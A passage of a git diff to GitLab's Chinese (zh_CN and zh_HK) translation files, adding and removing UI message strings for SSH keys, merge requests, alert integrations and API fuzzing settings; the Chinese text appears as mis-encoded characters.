msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr "您å¯ä»¥åœ¨%{pat_link_start}个人访问令牌%{pat_link_end}设置中创建新的令牌或检查现有的令牌。"
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr "您å¯ä»¥åœ¨ä¸ªäººè®¿é—®ä»¤ç‰Œè®¾ç½®%{pat_link}中创建新的访问令牌或检查现有的令牌。"
@@ -34063,6 +34883,9 @@ msgstr "您当å‰å°šæœªè®¢é˜…任何计划"
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "您没有æƒé™é€€å‡º%{namespaceType}。"
@@ -34147,9 +34970,6 @@ msgstr "您没有足够的æƒé™ä¸ºè¿™ä¸ªè­¦æŠ¥åˆ›å»ºå¾…办事项"
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr "您没有足够的æƒé™ä¸ºæ­¤é¡¹ç›®åˆ›å»ºHTTP集æˆ"
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr "您没有足够的æƒé™æ¥åˆ›å»ºæ­¤é¡¹ç›®çš„待命计划"
@@ -34186,12 +35006,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr "您已æˆåŠŸè´­ä¹°äº†%{seats}用户的%{plan}计划订阅。收æ®å°†é€šè¿‡ç”µå­é‚®ä»¶å‘é€ç»™æ‚¨ã€‚"
-msgid "You haven't added any issues to your project yet"
-msgstr "您尚未å‘项目添加任何议题"
-
-msgid "You haven't selected any issues yet"
-msgstr "您尚未选择任何议题"
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr "ä½ å·²ç»ä»Žâ€œ%{membershipable_human_name}†%{source_type}退出。"
@@ -34225,8 +35039,8 @@ msgstr "您必须æ供当å‰å¯†ç æ‰èƒ½è¿›è¡Œæ›´æ”¹ã€‚"
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr "必须选择一个栈æ¥é…置您的云供应商。了解更多有关信æ¯"
-msgid "You must set up incoming email before it becomes active."
-msgstr "您必须先设置接收电å­é‚®ä»¶ï¼Œç„¶åŽæ‰èƒ½æ¿€æ´»å®ƒã€‚"
+msgid "You must solve the CAPTCHA in order to submit"
+msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
msgstr "当拖放到现有设计时,您必须上传具有相åŒæ–‡ä»¶å的文件。"
@@ -34240,9 +35054,6 @@ msgstr "您需è¦git-lfs版本 %{min_git_lfs_version} (或更高版本)æ‰èƒ
msgid "You need permission."
msgstr "需è¦ç›¸å…³çš„æƒé™ã€‚"
-msgid "You need to be logged in."
-msgstr "您必须先登录。"
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr "您需è¦å…ˆæ³¨å†Œä¸€ä¸ªä¸¤å› ç´ èº«ä»½éªŒè¯åº”用程åºï¼Œç„¶åŽæ‰èƒ½è®¾ç½®è®¾å¤‡ã€‚"
@@ -34426,12 +35237,18 @@ msgstr "您的项目动æ€"
msgid "Your Public Email will be displayed on your public profile."
msgstr "您的公共电å­é‚®ä»¶å°†åœ¨æ‚¨çš„公开信æ¯ä¸­æ˜¾ç¤ºã€‚"
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr "您的SSH密钥已删除"
msgid "Your SSH keys (%{count})"
msgstr "您的SSH密钥(%{count})"
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr "您的待办事项列表"
@@ -34552,6 +35369,9 @@ msgstr "您的许å¯è¯ä¸æ”¯æŒå¾…命计划"
msgid "Your license is valid from"
msgstr "您的许å¯è¯æœ‰æ•ˆæœŸè‡ª"
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr "您的许å¯è¯å°†åŒ…å«åœ¨æ‚¨çš„GitLab备份中,且å‡çº§åŽä¾ç„¶æœ‰æ•ˆï¼Œ 所以在正常使用中,您一般ä¸éœ€è¦é‡æ–°ä¸Šä¼ %{code_open}gitlab-license%{code_close}文件。"
@@ -34645,7 +35465,7 @@ msgstr "已删除Zoom会议"
msgid "[No reason]"
msgstr "[无原因]"
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34751,6 +35571,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr "ä¸èƒ½æ˜¯è¿‡åŽ»çš„日期"
@@ -35052,6 +35875,15 @@ msgstr "无法读å–ç§é’¥ï¼Œå¯†ç çŸ­è¯­æ˜¯å¦æ­£ç¡®ï¼Ÿ"
msgid "created"
msgstr "已创建"
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr "创建于%{timeAgo}"
@@ -35231,6 +36063,9 @@ msgstr "帮助"
msgid "http:"
msgstr "http:"
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr "https://your-bitbucket-server"
@@ -35400,8 +36235,8 @@ msgstr "登录"
msgid "manual"
msgstr "手动"
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
-msgstr "æ­¤æ¡ç›®ä¸­çš„渲染时间过长,å¯èƒ½æ— æ³•æŒ‰é¢„期显示。出于性能原因,数学表达å¼ä¹Ÿé™åˆ¶ä¸ºæœ€å¤š %{maxChars} 个字符。请考虑拆分大型公å¼ï¼Œåœ¨å¤šä¸ªæ¡ç›®ä¹‹é—´è¿›è¡Œæ‹†åˆ†ï¼Œæˆ–者使用图åƒä»£æ›¿ã€‚"
+msgid "math|Displaying this math block may cause performance issues on this page"
+msgstr ""
msgid "math|There was an error rendering this math block"
msgstr "渲染此数学表达å¼æ—¶å‡ºé”™"
@@ -35434,14 +36269,11 @@ msgstr "%{commitCount} 将添加到 %{targetBranch}。"
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1个åˆå¹¶æ交"
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr "当å‰æ­¤åˆå¹¶è¯·æ±‚çš„æºåˆ†æ”¯ä¸­æ²¡æœ‰æ›´æ”¹ã€‚请推é€æ–°æ交或使用其他分支。"
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
-msgstr "相关人员甚至å¯ä»¥é€šè¿‡æŽ¨é€æ交æ¥ä¸ºé¡¹ç›®ä½œå‡ºè´¡çŒ®ã€‚"
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
+msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
-msgstr "åˆå¹¶è¯·æ±‚用于æ出对项目的更改并与他人进行讨论."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
+msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "请æ¢å¤æ­¤åˆ†æ”¯æˆ–使用其他的 %{missingBranchName} 分支"
@@ -35554,9 +36386,6 @@ msgstr "派生åˆå¹¶è¯·æ±‚无法创建验è¯åˆå¹¶ç»“果的åˆå¹¶è¯·æ±‚æµæ°´çº¿
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr "除éžç”±é¡¹ç›®æˆå‘˜å¯åŠ¨ï¼Œæ´¾ç”Ÿé¡¹ç›®åˆå¹¶è¯·æ±‚ä¸ä¼šåˆ›å»ºå¯éªŒè¯åˆå¹¶è¯·æ±‚结果的åˆå¹¶è¯·æ±‚æµæ°´çº¿ã€‚"
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr "如果 %{branch} 分支存在于本地仓库中,则å¯ä»¥æ‰‹åŠ¨åˆå¹¶è¯¥åˆå¹¶è¯·æ±‚。需使用"
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "如果 %{missingBranchName} 分支存在于本地仓库中,则å¯ä»¥é€šè¿‡ä»¥ä¸‹å‘½ä»¤è¡Œæ‰‹åŠ¨åˆå¹¶è¯¥åˆå¹¶è¯·æ±‚。"
@@ -35707,18 +36536,12 @@ msgstr "您现在å¯ä»¥åˆ é™¤æºåˆ†æ”¯"
msgid "mrWidget|You can merge after removing denied licenses"
msgstr "您å¯ä»¥åœ¨åˆ é™¤æ‹’ç»çš„许å¯è¯åŽåˆå¹¶"
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr "æ­¤åˆå¹¶è¯·æ±‚å¯ä»¥æ‰‹åŠ¨åˆå¹¶ï¼Œè¯·ä½¿ç”¨ä»¥ä¸‹"
-
msgid "mrWidget|Your password"
msgstr "您的密ç "
msgid "mrWidget|branch does not exist."
msgstr "分支ä¸å­˜åœ¨"
-msgid "mrWidget|command line"
-msgstr "命令行"
-
msgid "mrWidget|into"
msgstr "å…¥"
@@ -35749,9 +36572,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr "必须大于开始日期"
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr "å¿…é¡»åªåŒ…å«æœ‰æ•ˆçš„框架"
@@ -35818,15 +36638,6 @@ msgstr "按计划进行"
msgid "open issue"
msgstr "å¼€å¯çš„议题"
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr "ç”±%{user}通过%{email}于%{timeAgoString}å¼€å¯"
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr "%{user}å¼€å¯äºŽ%{timeAgoString}"
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr "Jira中的%{user}å¼€å¯äºŽ%{timeAgoString}"
-
msgid "opened %{timeAgo}"
msgstr "å¼€å¯äºŽ%{timeAgo}"
@@ -36099,9 +36910,6 @@ msgstr "帮助您的贡献者进行有效沟通ï¼"
msgid "to join %{source_name}"
msgstr "加入%{source_name}"
-msgid "to list"
-msgstr "到列表中"
-
msgid "toggle collapse"
msgstr "切æ¢æŠ˜å "
@@ -36147,6 +36955,12 @@ msgstr "用户å"
msgid "v%{version} published %{timeAgo}"
msgstr "v%{version}å‘布于%{timeAgo}"
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr "验è¯æ‰€æœ‰æƒ"
diff --git a/locale/zh_HK/gitlab.po b/locale/zh_HK/gitlab.po
index 9af511caf70..4d326137ad0 100644
--- a/locale/zh_HK/gitlab.po
+++ b/locale/zh_HK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: zh-HK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:51\n"
+"PO-Revision-Date: 2021-04-02 00:10\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -110,6 +110,10 @@ msgid "%d changed file"
msgid_plural "%d changed files"
msgstr[0] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -177,6 +181,10 @@ msgid "%d failed security job"
msgid_plural "%d failed security jobs"
msgstr[0] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d 個已修復測試çµæžœ"
@@ -333,6 +341,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -345,6 +356,10 @@ msgstr "ç”± %{commit_author_link} æ交於 %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -370,17 +385,9 @@ msgstr "éœ€è¦ %{count} 個由 %{name} 的批准"
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-
msgid "%{count} more"
msgstr "還有 %{count} 項"
@@ -473,7 +480,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -854,6 +861,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}了解更多%{usage_ping_link_end} 關於與GitLab Inc.共享的信æ¯"
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -985,6 +995,9 @@ msgstr[0] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1058,6 +1071,10 @@ msgid "1 day"
msgid_plural "%d days"
msgstr[0] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1074,6 +1091,14 @@ msgid "1 hour"
msgid_plural "%d hours"
msgstr[0] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1082,6 +1107,10 @@ msgid "1 minute"
msgid_plural "%d minutes"
msgstr[0] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1102,6 +1131,14 @@ msgid "1 user"
msgid_plural "%{num} users"
msgstr[0] "%{num} 個用戶"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1219,9 +1256,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1231,13 +1265,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1312,9 +1343,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "一個有存å–原始分支權é™çš„使用者,é¸æ“‡äº†æ­¤é …ç›®"
@@ -1333,13 +1361,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|/folder/example_file.json"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1351,6 +1391,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1363,16 +1406,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1381,16 +1427,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1423,9 +1469,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1603,6 +1646,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1633,10 +1679,6 @@ msgstr "增加"
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1682,6 +1724,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1757,6 +1802,9 @@ msgstr "ç«‹å³ç•™è¨€"
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1784,9 +1832,6 @@ msgstr ""
msgid "Add image comment"
msgstr "增加圖片留言"
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1814,6 +1859,9 @@ msgstr "增加或減少所花時間"
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1832,6 +1880,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -1925,6 +1976,9 @@ msgstr "é¡å¤–的筆記"
msgid "Additional text"
msgstr "附加文字"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "增加"
@@ -1952,6 +2006,9 @@ msgstr ""
msgid "Admin Area"
msgstr "管ç†å€åŸŸ"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2093,9 +2150,6 @@ msgstr "您將åœæ­¢æ‰€æœ‰ä»»å‹™ï¼Œé€™å°‡æœƒæš«åœæ‰€æœ‰æ­£åœ¨é‹è¡Œçš„任務。
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "項目管ç†|你正打算永久刪除項目 %{projectName},其儲存庫,以åŠæ‰€æœ‰ç›¸é—œè³‡æºå¦‚議題,版本åˆä½µè«‹æ±‚等等。如確èªä¸¦æŒ‰ä¸‹%{strong_start}刪除項目%{strong_end}後,此æ“作將無法復原。"
@@ -2531,6 +2585,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2577,6 +2637,9 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] "æ示"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2739,6 +2802,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2754,13 +2823,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2769,25 +2841,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2802,24 +2877,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2829,6 +2916,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2838,9 +2928,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2877,7 +2964,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -2967,9 +3057,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3033,6 +3120,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3060,6 +3150,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3117,6 +3210,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3240,6 +3336,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "讀å–å´é‚Šæ¬„資料時發生錯誤"
@@ -3252,9 +3351,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3345,7 +3441,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3483,9 +3579,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3687,6 +3780,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
